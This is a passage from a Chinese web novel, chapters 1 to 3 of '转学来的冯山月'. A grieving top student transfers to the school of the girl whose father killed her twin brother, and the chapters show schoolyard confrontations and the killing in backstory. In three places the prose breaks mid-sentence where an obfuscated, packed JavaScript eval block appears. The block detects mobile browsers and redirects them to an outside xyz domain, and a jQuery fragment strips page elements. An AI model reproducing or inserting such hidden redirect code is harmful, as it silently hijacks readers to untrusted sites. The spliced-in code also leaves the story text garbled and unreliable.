《转学来的冯山月》 1. 01 “真不想返校啊,隔壁一中都没返校,怎么我们先上课了。” “隔壁寒假里死了人,所以才推迟的,能和他们比吗?” “又有人跳楼?今年第几个了?” “不是,这个人是被捅死的。” 二月底的某个早晨,樟市四中对面的米粉店里。 春节刚过不久,已经有学校通知高三生提前返校,四中的学生散漫惯了,不到最后时刻,宁愿在校外聊天消磨时间。 这一闲聊,就聊出了一桩假期发生的杀人案。 那两个女生说着话,浑然不觉周围人都放轻了动作,竖起耳朵,想听到更多内幕。 两人中,戴发卡的那个瞪大眼睛:“怎么回事?” 另一个却摇摇头:“我也是听说的,刚放寒假的时候,有一天晚上,那个男生被送到我大姨她们医院,到的时候就已经昏迷了,脖子上全是血,白衣服都染成红的了,最后失血过多,没救过来。” 周围人屏气凝神地听完,紧接着,像是炉灶上的汤水烧开,水面浮出气泡,议论声从四面八方传出。 一个校服上画着涂鸦的男生在抽烟,一边抽一边摇头晃脑:“一中的还学别人在外面混?读书也读不好,打架也打不过。” 没人应和他,他自顾自地展开想象:“是不是抢人家女朋友被报复了,我就说……啊!” 后半句的感慨陡然转调,化成一声惊叫。 那男生直接从座位上跳了起来。 两秒钟前,有人出手如电,摘走他嘴里的烟,再把烟捻进他的碗里。 一旁默默忍受二手烟的同学露出崇拜的眼神,像在看侠女。 而涂鸦男火冒三丈,骂了句脏话,扭头看是谁这么不知好歹。 冯山月站在原地,嫌恶地搓了搓手指,仿佛那烟蒂是从刚吃完屎的狗嘴里抢到的。 随后,她接过店老板的找零,把钱放进钱包,最后才抬起眼睛与涂鸦男对视。 涂鸦男见是她,懵了。 刚才这个女生从他身边路过去结账,目光落在他的校服上,随后又盯了他一眼,涂鸦男因此心猿意马了好半天。 她留着齐刘海短发,穿一件印有名牌LOGO的白羽绒服,在癞蛤蟆文学里,这是标准的温柔白月光造型。通常这种女生会突然瞎了眼看上黄毛男主,坠入爱河后一心倒贴,是涂鸦男心目中最好拿捏的那一类。 他自认形象气质不错,很适合被倒贴。要不是最近刚被前女友甩了,无心恋爱,他一定会回应她的视线。 没想到现在这姑娘又找上门了,举止还这么泼辣。 干什么?搭讪? 那还真是不走寻常路。 涂鸦男清了清嗓子,语气放软了些,笑容略显油腻:“小姐姐,你什么意思啊?” 冯山月朝旁边瞥了一眼。 涂鸦男顺着她视线看过去,墙上贴着“禁止吸烟”的标志。 再转回头时,他捕捉到冯山月的嘴角出现一缕恶劣的笑意。 “你觉得我是什么意思?抽烟抽出幻觉了,以为我和你搭讪?” 在周围人戏谑的目光中,涂鸦男脖子涨红了:“想什么呢你!会不会好好说话?你把烟弄到我碗里,我还怎么吃?” 冯山月微微睁大眼,露出很无辜的神情:“什么?你没吃饱吗?” 涂鸦男没懂她的意思,微张着嘴,茫然而戒备地皱眉,脸色看上去很滑稽。 冯山月讲完后半句:“说死人的闲话,我以为你吃饱了撑的。” 远处,有人没忍住笑出了声。 “砰!” 笑声和议论声戛然而止。 涂鸦男猛踹一脚旁边的塑料凳,在刺耳的响声中逼近冯山月,呼吸因愤怒而粗重。 店老板从炉灶后面站起,操着方言呵斥:“莫在我店里打架!” 而冯山月岿然不动,也没有要动手的意思,仍静静盯着涂鸦男。 涂鸦男的脚步刹住了。 他忽然发现,冯山月有一双很凌厉的眼睛,和她那精心打理的乖乖女发型十分不匹配。 与她对峙时,像是在看一根悬在头顶的冰锥,形状锐利、寒气四溢。 无论是他撞上去,还是它砸下来,都会让他吃些苦头。 “你……给我等着。” 涂鸦男眼神飘忽一瞬,抄起书包转身出门。 旁人总算松了口气,在这声叹气里,微妙地夹杂着没能看到好戏的失望。 不少人仍在悄悄地打量冯山月,猜测她的身份。 她穿着那件白色羽绒服,却又背着书包,实在太引人注目。 高三学生的日程紧促而狼狈,上学时绝不会穿这种不耐脏的衣服,况且,穿着这个价位的衣服的人,也很少会大清早挤在这间小店里,吃一碗随时可能溅出油汤的米粉。 角落,戴发卡的女生保持着捂嘴的姿势偷瞄冯山月。 她就是那个刚才不小心笑出声的人,嘲笑完涂鸦男才发现,这场风波也和她脱不了干系。 是她和同伴最先谈到那个死去的一中学生,一想到冯山月和涂鸦男对峙时的气势,发卡妹可不想她来找自己的麻烦。 正这么想着,冯山月转头了,视线精准地锁定她。 发卡妹心跳如擂鼓,身体绷紧。 但冯山月并没有走过来,她站在原地,朝发卡妹挥了挥手中的钱包。 “我已经替你们付过钱了,麻烦你一件事。” 两碗米粉,二十块钱。 她哥哥还活着的时候,给他二十块,他能咧着嘴从学院街最东边跑到最西边,把一中和四中附近的文具店找个遍,忠心耿耿地为给冯山月买到她指名的那款笔芯。 而现在,冯山月只是让发卡妹帮她带个话。 给人好处,请人帮忙,这是等价交换,冯山月自认做得很周到,忽略了此刻她脸上没有任何表情,说话的语气像在下战书。 她和发卡妹之间隔着整个店面,所有人都能听到她的声音。 “告诉你们班王于英,冯山月在校门口等她。” 说完就走了,走之前还不忘把涂鸦男踹翻的凳子扶起来。 明明是很礼貌的举动,然而,在见过她和涂鸦男对峙之后,没有人还会将她与斯文有礼联系在一起。 拽成这样,还放话要找王于英,她想干什么? 发卡妹猛地站起来,她有种不祥的预感。 - “二姐,有人在门口堵你!” 发卡妹跑进体育馆时,四中女排队刚结束早训。 高一高二的队员也提前返校参训了,十来个人围在一起,都还没换掉训练服。 她在人群里寻找那个穿2号球衣的身影,却扑了个空。 一个离得近的队员回答:“二姐被教练喊去训话了。” 这名队员是高一新生,刚加入女排队不久,一入学就听说了那个叫王于英的主攻手特别出名,打球和打架都很厉害,大家总是喊她二姐。 新生来得晚,没能亲眼目睹二姐打架时的风采,只知道二姐生气的时候骂人很凶,自己因为训练失误没少挨她的骂。 不过今天早上很奇怪,她不小心把球打偏到了二姐身上,二姐居然一点反应都没有。 也许这就是教练单独找二姐训话的原因吧。 球撞击铁筐的哗啦声中断了新生的思绪,球衣上印着1号的女生把球扔回收纳筐,喊发卡妹的名字。 “向明珠,把话说清楚,谁堵二姐?” 向明珠人如其名,体态圆润而不擅运动,一路跑来上气不接下气,断断续续地解释:“一个穿白衣服的女的,我都不认识她,她却知道我和二姐一个班。刚才我在外面吃粉,看到她把别人骂得都不敢还嘴,骂跑那个人以后,她就突然当着一群人的面放话,说她在校门口等二姐,让我传话。” 向明珠回忆着冯山月清凌凌的眼睛,越想越觉得此人十分危险,忍不住在描述时一番加油添醋,全然没察觉体育馆里安静下来。 高二高三的队员们的表情变得很凝重,一些不好的回忆在她们脑海中复苏。 1号叮嘱了向明珠一句,领着几个队友朝外走去:“我们先过去看看,等二姐出来你告诉她。” - 正是上学的高峰时段,樟市四中的门口很热闹。 校门旁边竖着宣传栏,写宣传稿的人费了些心思,把两个板块的标题起得像对联。 左边是“名师加盟,美术生联考捷报频传”,右边是“铁帅出征,四中女排省赛再夺桂冠”。 角落里单开一个小专栏:“主攻手王于英接受晚报专访”。 冯山月站在宣传栏前,阅读上面的文字。 穿冬季校服的四中学生从她身后陆续走过,灰蓝色的校服像一片雾,而她是雾蒙蒙中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563101|171402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唯一的亮白色,许多人都忍不住偏头看她。 学院街上坐落着两所高中,四中在最西边,东边是全市最好的高中——樟市一中。都在一条街上读书,难免会和隔壁学校的人打交道,消息也得以互相流通,因此,有人认出了冯山月。 她对同伴介绍:“冯山月,一中的,超级大学霸。一中今年就指望她和那个学生会主席考华京了。” 同伴肃然起敬。 樟市一中的升学率放在省里只算中游,纵览校史,能考上华京大学的人也是屈指可数。更何况她们俩的学校是四中,全市艺体特长生最多的公办高中,余下的生源也是捡前三所高中挑剩的。 每个学期一打开违纪记录,逃课打架谈恋爱的多入过江之鲫,跃龙门是不指望了,只要不弄出人命来——不管是哪种人命——老师们就已经谢天谢地。 生活在这样的环境里,考上华京的概率和飞上太空差不多。 两人远远地看着冯山月的侧脸,眼神像在看外星人。 认出冯山月的那个女生忽然察觉到什么,咦了一声。 “怎么了?”同伴问她,她却摇摇头,不知该怎么形容。 那个身姿像竹子一样挺拔的优等生,朋友很少,从不关心外界的情况,总是把目光落在习题册上。 可现在,她总觉得眼前的冯山月和过去相比……看起来不一样了。 像是有人将那根竹子削成了武器,尖锐的一端展露在外,等待扎破些什么。 恰在此时,冯山月忽然转身,目光扫了过来。 女生连忙偏开脑袋,拉着同伴离开,踏进校门时又忍不住回头看。 冯山月仍站在原地,视线在人群中梭巡,像在找人。 她在找谁? 女生忍不住猜测着,想到冯山月的神情,她脑海中浮现出一个微妙的想法。 那个被冯山月找到的人,要倒大霉。 直到几个身影从她的视线中掠过,阻断了她的视线。 其中一个注意到她在朝这边看,还恶狠狠地瞪了她一眼。 女生脸色一变。 那群人是朝着冯山月走去的。 - 四中的校园里,通往校门口的大道上。 七八个四中女排的队员,身高最低都有一米七五,穿着学校给队里统一定制的黑色长羽绒服,板着脸围在花坛旁。 1号踩上花坛边缘,踮着脚眺望校门口的方向。 当年出过事以后,教导主任就开始严抓打群架,至今已经颇有成效。 现在,这群人一副要顶风作案、重现辉煌的架势,路过的同学忍不住侧目。 其中一个队员注意到旁人视线,抬头去问1号:“向明珠是不是搞错了,她这个人本来说话就夸张,明明过去一年都没人再敢堵二姐了。” 另外几人也回过味来,真的想堵王于英,也该选在下午放学后,在远离校门的偏僻位置,这个时间点在门口闹事,生怕保安不抓人。 都怪王于英今早的表现太诡异了。 返校第一天失误连连,所有人都注意到她心不在焉,问她她又不肯说。 高二高三的队员见她如此,以为她又惹上麻烦了,才这般风声鹤唳。 1号望向门口的目光一滞,她忽然骂了句脏话,脸上不复之前的担忧,取而代之的是一股纯粹的愤怒。她跳下花坛,迈开大步朝门口走。 “我以为谁堵二姐,原来是因为这个XX。” 所有人因为1号的话踮起脚往门口张望。 冯山月穿白衣的背影很显眼,她面前站了好几个穿四中校服的男生,正在笑嘻嘻地对她说着什么。 其中一个校服上有涂鸦,女排队的成员都认识他,可惜向明珠只和王于英熟,当时在店里没认出涂鸦男。 他是1号的前男友。 寒假时,王于英拦在他家楼下,拽着他的领子,勒令他不许再纠缠1号。 王于英一米八五,他穿上内增高才一米八,打排球的人手劲大,涂鸦男觉得王于英一掌下去他会脑震荡,点头如捣蒜地同意了。 1号没想到这狗东西居然有脸在开学当天闹事,还莫名其妙地找了个女生打头阵。 剩下的女排队员也反应过来,先是松了口气——这种级别的找麻烦也太好应付了——再重振士气,带着给姐妹找回场子的决心跟在1号身后,朝校门口气势汹汹而去。 2. 02 冯山月把手揣进兜里,神情有些意外。 站在她面前的是涂鸦男,身后还跟着几个兄弟。 为了不让远处的学校保安察觉异常,他们故意嬉笑着勾肩搭背,像在和冯山月玩闹。 有人在旁撑腰,涂鸦男说话硬气了不少:“刚才不是很会骂人吗?现在不骂了?” 冯山月也笑起来:“你没听够?” 众人一怔,涂鸦男瞪眼:“还嘴硬,以为我们不敢打女人是不是?” 她轻快地回了他一个字。 “来。” 男生们的表情僵住,冯山月的表情很认真,不像玩笑。 轮到涂鸦男没辙了。 四中好歹也是个正儿八经的公办高中,校风虽然拉垮,但经过了这两年的严打狠抓,已经没剩几个人敢在校门口闹事了。 他也是因为进学校的时候发现冯山月就在门口,觉得就这么路过她走进去太丢脸,才想到找人一起去吓吓她,放几句狠话再走。 没想到冯山月直接跳过互骂环节,快进到互殴了。 涂鸦男不可置信,她一个女生,看上去斯斯文文的,个子还不到一米七,再怎么嚣张,难道真的敢动手和男生打架?头发剪得那么整齐,不怕被弄乱?衣服干干净净的,不怕被弄脏? 几个人你看我我看你,涂鸦男硬着头皮上前,抬起手打算推她一把。 就在迈出脚步的那一刻,涂鸦男的耳朵同时捕捉到两个声音。 一个是从远处传来的,许久未见的前女友在喊他名字,听语气很愤怒。 另一个是面前冯山月兜里传来的,一声很轻的“喀啦”。 涂鸦男经常去美术生的画室玩,非常熟悉那个声音,却下意识觉得是他听错了。 那是美工刀的刀片被推出鞘的声音。 - 1号风风火火杀到涂鸦男面前,直接搡了他一把。 “以前没发现你这么有本事啊?敢带人堵二姐?” 涂鸦男的兄弟们见有人动手,刚要反击,就听到一句“带人堵二姐”。 再一扭头,发现四中女排的队员们沉着脸,黑压压地朝这边围过来,一时间全都懵了。 不是,当初叫他们帮忙堵人的时候,也没说要堵的是王于英啊? 那个高一就满脸是血地来上课,高二在校内把同班男生揍得一周不敢来学校,在校外带着队友和人互殴,自此一战成名的王于英。 都打成这样了,她还没被开除,记了个通报批评,周一在升旗台上先念检讨再接受表扬——四中女排在省赛里首次夺冠,总决赛的关键分都是她拿的。 底下的同学议论纷纷,说她打进派出所了还能平安出来,学校也保她,肯定有什么背景,谁惹她谁倒霉。 就这么一号人物,放眼整个四中,还有人敢堵她? 涂鸦男更懵了,他有那个胆子堵王于英,当初在米粉店里就敢和冯山月翻脸了,还用等到现在? 他的几个兄弟站着没动,为了维护脸面,仍在梗着脖子硬撑,心里却已经开骂了。这算什么兄弟,自己不想混了还拉他们下水。 涂鸦男又惊又怒,去看冯山月,以为是她从中挑拨。 1号也转头,看清冯山月后愣了片刻。 这女生和她想象的完全不同。 她有一张聪明的、很会念书的脸,长成这样的人应该去升旗台上发言,而不是和成天游手好闲的人厮混在一起,来四中的校门口闹事。 冯山月迎着双方视线,保持插兜的姿势,脸色不变,慢慢地放松身体,把兜里的美工刀推回去。 她解释:“是我找王于英,不是他。” 1号这才松了口气,用“本该如此”的眼神瞟涂鸦男:“所以你们和她不是一起的?” 她身后,女排队的成员们也放松下来,在心里埋怨向明珠谎报军情。语气那么夸张,还说这女生能把别人骂跑,她看上去根本不像是会骂人的。 涂鸦男更是抓狂,用略显夸张的方言腔大声回答:“你才晓得啊大姐?我要搞的是她,又没找你们!” 在樟市的方言里,“搞”这个字的意思很多,其中一条释义约等于“为难”。 涂鸦男脱口而出的时候没想太多,他身边的那个男生却噗嗤笑出了声,紧接着,其他男生也会意,露出暧昧不清的神情。 最后,涂鸦男自己也笑了,还用希冀的眼神去看女排队众人,希望能就此一笑泯恩仇。 对他们来说,危机已经解除了,冤有头债有主,反正没惹到王于英那边的人,冯山月也被他们占了口头便宜,接下来只需要潇洒地离开,这整场乌龙就能圆满划上句号。 就在这时,涂鸦男和他身边的男生被一股力道分开了。 他们同时回头看去。 王于英的头发比寒假时长了一些,在脑后绑了个小辫。她额头散发着热气,证明她是一路跑过来的。一同冒着火气的是她的眼睛,所有人都能意识到,她现在心情很不好。 王于英按住涂鸦男的肩膀,不让他动,问:“你要搞谁?” 她很高,手长腿长,体格不算壮得很夸张,高兴的时候会爽朗地大笑。但当她像现在这样沉着脸看人时,被她盯着的人总会不寒而栗,想到当初在学校后巷里,她是如何用那只扣杀排球的手,把一个成年男子一拳一拳打趴在地上。 一片死寂。 涂鸦男嘴唇动了动,感觉声音不像从自己嗓子里发出来的:“没搞谁,都是误会。” 冯山月冷不丁插话:“误会什么,不是你在背后说死人的闲话吗?说他学人在外面混,说他抢别人女朋友。” 她的语气充满控诉,神情却很冷静,眼睛盯着王于英,嘴角带笑,像在试探王于英的反应。 除了王于英,剩下的人都愣了,1号问:“死人?哪个?” 王于英闻声转头,与冯山月对上视线,有些恍惚。 上一次见冯山月是葬礼结束的第二天,在派出所。当时的她看起来很久没睡过整觉了,眼底发青,脸色苍白得吓人。 半个月过去,她精神变好了不少,身为一个有良知且心怀歉疚的人,王于英理应为她高兴。 前提是,王于英不是凶手的女儿,此刻她们不是站在四中校门口,冯山月没有点名要找她,还在众目睽睽下提到哥哥的死。 王于英搭着涂鸦男肩膀的手无意识地攥了一下。 涂鸦男痛得叫出声,他朝冯山月嘶吼:“我错了,错了行了吧?你最正义,你最清高,你不说闲话!我向你道歉,对不起!满意了没?真xx服了,我说什么关你屁事啊!” 王于英爆了句粗口,攥着他领子把他拽起来。 周围的人都觉得涂鸦男倒霉,今天王于英心情不好,他撞枪口上了。 只有冯山月的笑容扩大了,像在看有趣的演出。 涂鸦男扭动着想要挣脱,心里只剩一个念头。 后悔,实在是后悔。 当着自家兄弟、前女友和她的队友们、搭讪失败的陌生女同学,以及校门口众多学生的面,他就这样被王于英拉窗帘似的拖来拽去,毫无脸面可言。 身体的痛苦可以忽略不计,心灵的创伤令他难以承受。 早知道当初在米粉店就不该嘴贱,谁知道口嗨了两句能惹出这么多事。 这场面太过难堪,因此,当钱主任的咆哮声响起时,涂鸦男第一次觉得她的声音宛如天籁。 “王于英,你给我放手!” 校门口瞬间安静了,看热闹的同学们纷纷回头。 一个满面怒容的中年女人,背后跟着一位打扮气质都和钱主任相似的学生家长,两人一快一慢地朝这边走来。 王于英背朝她们,却也能听到钱主任的方鞋跟在地面上敲得啪啪响,预告着即将爆发的训斥。 可她更在意的是另一件事。 她注意到,冯山月面朝着钱主任的方向,始终冷静的表情松动了。她下意识想找人遮挡自己,低垂眼睛不与来者对视,却最终还是抬起头,站在原地没有躲。 王于英转身,在看清钱主任身旁是谁之后,她猛地放开手。 是冯燕芳。 当初在派出所里,王于英的妈妈,那个吵架与嚎哭都中气十足,总是操着方言骂人的中年妇女,一遍遍地对冯燕芳鞠躬,小声重复着:“王勇斌是畜生,我们家对不起你们,我做牛做马偿还你们。” 而冯燕芳端坐在她们面前,头发梳得一丝不苟,紧绷着脸,眼眶很红,却是干涸的。 那时王于英觉得她像根布满裂痕的石柱,只要稍稍动弹就会崩碎。 现在,冯燕芳望着她女儿,表情总算生动了起来。 尽管是被气的。 她皱着眉,额头上的纹路很深,目光像在询问冯山月为什么。 从头到尾,冯燕芳没有看王于英一眼,但王于英却有些抬不起头。 刚才那一幕。冯山月和冯燕芳都看见了。 她们会怎么想?会觉得她骂脏话很粗俗吗,会透过她攥人衣领的粗暴动作看到她父亲的影子,然后在心里想,果然是杀人犯的孩子吗?是不是连她呵斥涂鸦男时的心虚,她们也能看出来? “书不读了要造反是不是?不打排球,在这里打人,日子过得太舒服想吃处分了?” 钱主任从不对学生动手,她嗓门大声音粗,骂人的威力足以让人眼冒金星、耳鸣不断,效果堪比抽耳光。 王于英的注意力就这样被粗暴地拉了回去。 她一声不吭地挨训,放在以前还会顶几句嘴,今天当着那两个人的面,她什么都说不出。只有她的队友能看到她背在身后的手正互相按压着指骨,以此发泄心中的躁意。 钱主任一通骂完,转头看到涂鸦男缩着头正想开溜,一把将他扯回来。 “还有你,你哪个班的?校服是让你乱涂乱画的吗?早自习不上,和人家在门口吵架?” 涂鸦男愤愤不平,大叫:“什么吵架,我又没惹她!” 他的兄弟们连忙附和。 “老师,明明是王于英先动的手。” “她那么厉害,我们哪敢惹她啊。” 1号拉下脸,刚要反驳,却被王于英使了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563102|171402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼色。 教练今早刚强调过,让大家收心备考,如果知道她们在开学第一天又惹事,肯定会罚她们跑步。王于英不想把队友扯进来。 一众女排队成员见她这样,硬生生把要说的话吞了回去,眼神中的愤懑却藏不住,瞪视涂鸦男和他的狐朋狗友。 那帮男生见此,反而辩解得更大声了,还有人对钱主任做“你看她们”的手势。 钱主任眼睛一瞪:“她动手你不会跑啊?不会来找我告状?还带这么多人出来围观,我看你也挺厉害。你,王于英,你们两个不想上早自习就别上了,回去在走廊上站着,火气这么大,降降温!” 涂鸦男哀嚎,王于英沉默,双方队友横眉竖眼暗中较劲。 一片鸡飞狗跳中,冯山月忽然开口了。 “老师,和他有矛盾的是我,王于英是为了帮我。” 她手攥着书包肩带,声音平稳,不去看母亲陡然锐利的双眼。 王于英交握的手放开了,垂下来放在身侧。她下意识站直身体,表情逐渐放松,却显出几分茫然。 与之相反的是钱主任,只有她能听见的一级外交警报在耳边响起,她缓缓转头,眼里的杀气吓得涂鸦男倒退半步。 人家一中的尖子生,转学来的第一天就被四中的学生堵在校门口欺负,什么意思?传出去四中的脸面往哪放?声誉还要不要了? 涂鸦男自知再不反驳就看不见明天的太阳了:“还不是你先骂我,还往我的米粉里扔垃圾!” 冯山月冷笑:“我骂你是因为你找骂。说我扔垃圾,你也知道烟头是垃圾。还在室内吸烟,嘴臭熏到别人都算轻,当心自己得肺癌活不到高考。” 1号还场面嫌不够乱,鼓掌欢呼:“好骂!” 当初分手就是因为这男的抽烟,嘴臭得她刚起色心就被熏跑了,1号顾及面子没直说,没想到他缠了她半个月,直到王于英出手。现在有人替她骂了,1号一时间看冯山月宛如亲姐妹。 “冯山月!” 几步开外,冯燕芳用极为尖锐的声音呵止女儿。她挎包的手紧紧攥着,用力到指节都泛白。 冯山月条件反射地缩了缩,却又回嘴:“我这是关心同学身体健康。” 钱主任有些惊讶地瞥一眼冯山月。 好消息,外面的人不会说四中学生欺负一中转学生了。 坏消息,刚才她陪冯燕芳办转学手续时,这位母亲还在矜持地炫耀女儿成绩好,稳重自持,不会被环境影响。即便转学到四中,也不耽误她的学习。 当时钱主任还在心里嘀咕,真不受环境影响,为什么还给冯山月转学?听说冯燕芳都带她去看心理医生了,亲人离世是大事,当妈的要强,不让外人看见她伤心,怎么还连带着也不许女儿难过?满口都是学习,也不怕孩子憋出问题。 现在倒好,她们是不用担心冯山月憋坏了。开学第一天,这姑娘连校门都没进,已经沐浴在四中自由奔放的校风里,学会和人当众对骂了。 钱主任有些头疼,假装看不见冯燕芳上去拉冯山月,又被冯山月轻巧地躲开,她把王于英和涂鸦男一手一个往校门里推。 “你们两个,回去罚站。” 涂鸦男自知逃不过,死也要多拉一个人下水,指向冯山月:“那她呢,她咒我早死,她不罚站?” 钱主任恨不得把涂鸦男嘴捂上。先不说她家里有特殊情况,人家一中文科的年级第一,早自习不在教室复习,去外面罚站?少学四十分钟,高考少考四分,耽误人家考华京,谁负得起这个责? 她直接装聋,环视周围一圈人:“散了,你们也想罚站是不是!” 周围哄的一声散开,同学们一边往学校里走,一边不时地回头看。 就在此刻,冯燕芳忽然开口了。 她盯着冯山月,不怒反笑:“钱主任,没关系,犯了错就要受罚,冯山月既然转学到四中,就该一视同仁。” 乱如群蝇飞舞的人群安静了,纷纷站住脚步。 转学? 所有人把目光转到冯山月身上,神情各异,却又都包含同一种情绪——惊愕。 王于英是反应最大的那个,像是训练时踩空了,她心脏猛地一坠,惊疑不定地朝冯山月看去。 冯山月嘴抿着,与冯燕芳对视,也微笑起来。 那样欣然接受的表情,那样昂首挺胸的姿态,王于英甚至怀疑冯山月是听错了,以为她不是去受罚,而是受邀去升旗台上做演讲。 她说:“好,我认罚。” - 冬天尚未结束,为抵御冷风,四中的高三教室全都闭紧了门窗。 浑浊的空气让人昏昏欲睡,直到讨论声从靠近走廊的那一侧响起,再如海浪般翻涌,沸腾了一间又一间教室。 靠走廊的学生把脸贴在玻璃上,伸长脖子,用奇异的目光看向窗外。 在钱主任的带领下,那个一中的超级学霸,转学而来的冯山月,和四中最知名的大姐头王于英走在一起,从走廊穿行而过,最后在教师办公室的门口停下脚步。 一左一右,开始罚站。 3. 03 四中的高三教学楼呈“凹”字形,教师办公室位于楼体两端延伸出去的部分。 涂鸦男被他的班主任拎到了办公室门口站着,与他遥遥对望的,是另一边钱主任办公室门口的冯山月和王于英。 有几个同学借着透气的名义跑到走廊上背书,涂鸦男叫去撑场面的兄弟也在,他们挤眉弄眼地和他打着招呼。 那一头窸窸窣窣动静不断,而王于英和冯山月这边,却是死一般的沉寂。 王于英不是第一次罚站,她甚至有过被拎到操场站一下午的经历,但哪一次都不如此刻令她觉得难熬。 冯山月不声不响地站在身侧,余光里显眼的白色让她无法忽视,哪怕闭上眼,脑海中的记忆也会如潮水般涌上来。 关于那一天的记忆。 那是寒假开始的第二天,王于英记得很清楚。 那天上午,她那个半夜才回来的爹爬起床,开口就骂昨晚遇到的大老板,居然当着一群人把他当猴耍。 王勇斌是小包工头,熟识的项目经理不找他做活了,过完年再接不到活,手底下的几个工人就要离开。 昨晚他拉下脸去饭店门口蹲人,项目经理正好送一个大老板出来,老板也喝了酒,王勇斌不会看眼色,直接冲上去,结果老板和他吵了两句,当众给他难堪。 妈妈听了反唇相讥,还不是因为王勇斌之前打麻将打得到处借钱,最严重的时候追债的连她们母女俩都不放过。本来就只是个小包工头,没地位没人脉,坏了名声当然没人找。 旧事重提,这对夫妻又争吵起来。 妈妈叮叮咣咣地洗碗,爸爸呼哧呼哧地抽烟,王于英在烟灰里吃完饭,又在脏话与诅咒齐飞的吵闹声中换了衣服,她临走前警告王勇斌,敢动手就等着她回来给他好看,最后再带着一肚子火出门,去帮朋友处理感情问题。 队里的1号、同为主攻手的毕思琪被前男友缠上了,王于英看不下去,直接到那男的家楼下把他拦住。 平日里耳濡目染的脏话发挥了作用,她攥住对方的衣领,吐出难听的字词,望着他畏缩的神情,心里的淤堵终于畅快地发泄出去。 老天给了她高挑的身材,多年的锻炼让她有强大的力量,暴力与她相伴成长,她从承受者变成使用者,一切都是如此顺理成章。 回家的时候已是傍晚,王勇斌又喝大了,攥着晾衣架瘫坐在沙发上,抱怨这个世界待他不公,打麻将赢不了,干工程没有活,谁都看不起他,连老婆都对他恶语相向。 但凡王于英再晚回来些,一场施暴又要在这间屋子里诞生。 她忍无可忍,指着王勇斌的鼻子骂,冤有头债有主,谁得罪他就去找谁,而不是嘴上说得难听,实则见了那些大老板一根手指头都不敢动。 生长在这样一个日日争吵的家里,王于英的骂人水平青出于蓝,连妈妈都睁大双眼扯着她,让她不要再说了。 外面寒风呼啸,楼下有小孩在玩摔炮,噼里啪啦的爆炸声里,王勇斌酒意上头,还真的摔门而去了。 等他再打电话来的时候,听语气,酒已经完全醒了,结结巴巴地说他打了人。 一问是谁,不是那个熟人项目经理,也不是大老板,而是个王勇斌昨晚在饭店门口见过的高中生,大老板的儿子。 “那老板开车回去的,我找不到他家,但是在你们学校那条街上碰到他儿子了。” 老子作孽,儿子来还,王勇斌和他在窄巷里撞了个趔趄,抄起酒瓶就砸了过去。 王于英能听到王勇斌在那边哀嚎,再从哀嚎变成嘶吼:“我手上全是血啊,衣服上也是血,那么多血,他是不是活不成了……你说你为什么要激我,你不激我,我就不会出门了!你们娘俩想赶我走,现在我要坐牢了,这下你满意了吧,王于英!” 一夜之间,她成了杀人犯的女儿,每天晚上做梦梦到的都是电话里那句指控。 似乎,一切都源于她是他的孩子,倒反天罡骂了老子,激怒他出门行凶,所以理当负一些责任。 再后来,妈妈带着她去派出所见受害者家属。 原以为迎接她们的是劈头盖脸的辱骂甚至殴打,没想到那一家三口看起来气质斯文,连一个脏字都没有说。女儿和她一样大,在一中读书,是死者的龙凤胎妹妹。见到她们进来,她还帮她们搬椅子。 妈妈低声下气地说她们会赔偿,会配合,该怎么判就怎么判,只希望对方不要迁怒她的女儿。 四中女排去年在省赛拿了冠军,老师说王于英努努力可以考重点大学的高水平运动队,妈妈怕受害者家属去学校闹,毁了女儿的人生。 尽管是王勇斌先杀了冯燕芳的孩子。 甚至在那天,王于英和妈妈才知道,王勇斌杀错了人。 老板的儿子安然无恙,枉死的是他的发小,其中细节警方没有透露给王于英,但她始终记得听到消息的一瞬间,她是如何被巨大的荒谬感钉死在原地,动弹不得。 怎么会认错呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563103|171402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 王于英来不及想,妈妈已经弯下腰,不管不顾地抽泣,朝冯燕芳一遍遍鞠躬道歉,用难听的话咒骂自己没看住老公,只期盼她能说一句孩子是无辜的,不牵连孩子。 妈妈文化水平不高,情商欠缺,不知道在丧子的母亲面前谈论自己女儿的未来是一种冒犯,她只是希望王于英能脱离这片沼泽,离开这个小城,不要吸着二手烟、听着争吵声过一生。 王于英想劝妈妈停下,开口却只能发出破碎的单个音节,她想拽她起来,却觉得妈妈的脊梁骨已经受不住任何用力的拉扯。 直到冯燕芳用沙哑的声音叫住她们,说,好,我们两家以后不要再见了,一切让律师来办。 她说这话时,冯山月就站在她身后,眼睛里横着熬夜留下的血丝,紧盯着王于英,却又像在透过她思考别的事情。 而王于英只顾着扶起如释重负的妈妈,没来得及揣摩冯山月的目光。 命运把她们打成一个死结,她们在死结的两端,原本不该再相见。 